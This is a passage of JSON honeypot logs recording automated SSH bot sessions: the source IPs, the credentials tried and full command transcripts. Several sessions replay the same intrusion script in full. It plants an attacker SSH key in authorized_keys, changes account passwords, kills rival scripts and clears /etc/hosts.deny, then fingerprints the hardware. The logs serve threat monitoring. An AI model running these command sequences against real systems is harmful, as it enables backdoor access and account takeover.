.ssh"},{"seq":2,"at":"2026-08-27T12:39:30.241754+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:39:37.707450+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:39:38.008878+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:39:38.758114+00:00","kind":"input","latency_ms":null,"data":"echo -e \"harsh@123\\nfozvUUqyge4I\\nfozvUUqyge4I\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:39:39.500820+00:00","kind":"input","latency_ms":null,"data":"echo \"harsh@123\\nfozvUUqyge4I\\nfozvUUqyge4I\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:39:40.245133+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:39:40.856383+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:39:41.602346+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:39:42.968125+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:39:43.713910+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:39:44.490683+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:39:45.244306+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:39:45.918517+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:39:46.676765+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:39:47.419485+00:00","kind":"output","latency_ms":null,"data":" 12:39:47 up 7 days, 9:29, 0 user, load average: 0.3, 0.27, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:39:48.173345+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:39:49.020814+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:39:49.767399+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:39:50.493076+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:39:51.248062+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:39:52.095224+00:00","kind":"output","latency_ms":null,"data":"top - 12:39:52 up 7 days, 9:29, 0 user, load average: 0.3, 0.27, 0.26\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:39:52.839916+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:39:53.332163+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:39:54.078252+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:39:54.561673+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:39:55.312786+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:39:56.105199+00:00","kind":"output","latency_ms":null,"data":"harsh"},{"seq":29,"at":"2026-08-27T12:39:56.851993+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:39:58.029517+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:39:58.780725+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:39:59.699516+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"harsh","password":"harsh@123","method":"password","accepted":true,"tier":"other"}]} {"id":"39da07dd-fb38-4fce-a527-19f9da5cd42c","name":"snowy-lawful-armadillo","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":46688,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:39:56.552160+00:00","ended_at":"2026-08-27T12:39:58.483014+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:39:39.555166+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:39:39.849103+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:39:42.837811+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:39:43.365229+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:39:43.659442+00:00","kind":"input","latency_ms":null,"data":"echo \"root:y9ESUcpyFReL\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:39:43.954890+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:39:44.249468+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:39:44.840229+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:39:45.136553+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:39:46.295844+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:39:46.590755+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:39:47.943258+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:39:48.240900+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:39:48.941100+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:39:49.235838+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:39:50.124336+00:00","kind":"output","latency_ms":null,"data":" 12:39:50 up 7 days, 9:29, 0 user, load average: 0.02, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:39:50.421320+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:39:51.132838+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:39:51.429901+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:39:51.858547+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:39:52.155515+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:39:52.689268+00:00","kind":"output","latency_ms":null,"data":"top - 12:39:52 up 7 days, 9:29, 0 user, load average: 0.02, 0.02, 0.02\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:39:52.976104+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:39:53.428389+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:39:53.728068+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:39:54.052840+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:39:54.348081+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:39:54.709285+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:39:55.005171+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:39:56.256034+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:39:56.553043+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:39:58.392659+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc#2025","method":"password","accepted":true,"tier":"other"}]} {"id":"561a1baf-10b5-495f-9d07-ff7f1129e21d","name":"seaward-twilight-alpaca","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":47306,"username":"xie","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:39:55.682275+00:00","ended_at":"2026-08-27T12:39:56.861549+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:39:36.529301+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:39:36.857634+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:39:41.559893+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:39:42.167200+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:39:42.494706+00:00","kind":"input","latency_ms":null,"data":"echo -e \"xie123\\nhArcHWPmpKqb\\nhArcHWPmpKqb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:39:42.824708+00:00","kind":"input","latency_ms":null,"data":"echo \"xie123\\nhArcHWPmpKqb\\nhArcHWPmpKqb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:39:43.150950+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:39:43.799125+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:39:44.125041+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:39:45.552027+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:39:46.192064+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:39:47.507188+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:39:47.834298+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:39:48.216535+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:39:48.549181+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:39:48.916830+00:00","kind":"output","latency_ms":null,"data":" 12:39:48 up 7 days, 9:29, 0 user, load average: 0.18, 0.16, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:39:49.244943+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:39:49.569467+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:39:49.897319+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:39:50.769167+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:39:51.096759+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:39:51.649351+00:00","kind":"output","latency_ms":null,"data":"top - 12:39:51 up 7 days, 9:29, 0 user, load average: 0.18, 0.16, 0.16\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:39:51.983492+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:39:52.801852+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:39:53.131337+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:39:53.415905+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:39:53.743256+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:39:54.149323+00:00","kind":"output","latency_ms":null,"data":"xie"},{"seq":29,"at":"2026-08-27T12:39:54.476130+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:39:55.355292+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:39:55.683154+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:39:56.765237+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"xie","password":"xie123","method":"password","accepted":true,"tier":"other"}]} {"id":"c56126fe-d554-46c9-b23f-c60c629d2098","name":"languid-early-gadwall","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":46710,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:39:42.142915+00:00","ended_at":"2026-08-27T12:39:42.751879+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"aeab367b-402a-4636-a1f6-096587b5935f","name":"fierce-blunt-saola","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59808,"username":"vpnuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:39:42.013615+00:00","ended_at":"2026-08-27T12:39:43.903190+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"vpnuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"84988aaa-43dd-40b0-8ff0-ac5df2f0d6e0","name":"marine-coastal-squirrel","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":46694,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:39:40.517419+00:00","ended_at":"2026-08-27T12:39:41.545907+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"679e29a3-165e-41e6-95ad-3a99708cd9f1","name":"mindful-wry-gecko","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":60160,"username":"xie","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:39:39.812494+00:00","ended_at":"2026-08-27T12:39:41.463108+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"xie","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4d658e64-fe44-44cd-a889-f9a54bbf635a","name":"bashful-lawful-jaguar","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59796,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:39:39.679207+00:00","ended_at":"2026-08-27T12:39:41.095896+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"10bc4503-9042-4b44-b94e-ef782982b4ae","name":"calm-arctic-hedgehog","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":47308,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:39:37.602602+00:00","ended_at":"2026-08-27T12:39:39.161528+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e6050a61-59df-437b-834d-e5a231189575","name":"subtle-dusky-eider","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":46228,"username":"harsh","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:39:35.997858+00:00","ended_at":"2026-08-27T12:39:37.466747+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"harsh","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"92e66f16-da06-40cb-9f6a-d92fe964ba90","name":"creaky-rustic-lapwing","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":46226,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:39:32.023865+00:00","ended_at":"2026-08-27T12:39:33.772715+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6dbcae5e-128a-47be-b4ba-4b55025af095","name":"fearless-early-pheasant","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":54184,"username":"inventory","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:37:52.731139+00:00","ended_at":"2026-08-27T12:37:54.330812+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2260,"events":[{"seq":1,"at":"2026-08-27T12:37:35.129162+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:37:35.421994+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:37:39.379554+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:37:39.980414+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:37:40.275576+00:00","kind":"input","latency_ms":null,"data":"echo -e \"inventory\\nSj5UrajmLrsR\\nSj5UrajmLrsR\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:37:40.570458+00:00","kind":"input","latency_ms":null,"data":"echo \"inventory\\nSj5UrajmLrsR\\nSj5UrajmLrsR\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:37:40.862217+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:37:41.171007+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:37:41.465673+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:37:42.490557+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:37:42.786225+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:37:44.037390+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:37:44.332286+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:37:44.965026+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:37:45.258711+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:37:46.126200+00:00","kind":"output","latency_ms":null,"data":" 12:37:46 up 7 days, 9:27, 0 user, load average: 0.17, 0.2, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:37:46.419027+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:37:46.823516+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:37:47.115928+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:37:47.717649+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:37:48.010642+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:37:48.548212+00:00","kind":"output","latency_ms":null,"data":"top - 12:37:48 up 7 days, 9:27, 0 user, load average: 0.17, 0.2, 0.19\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 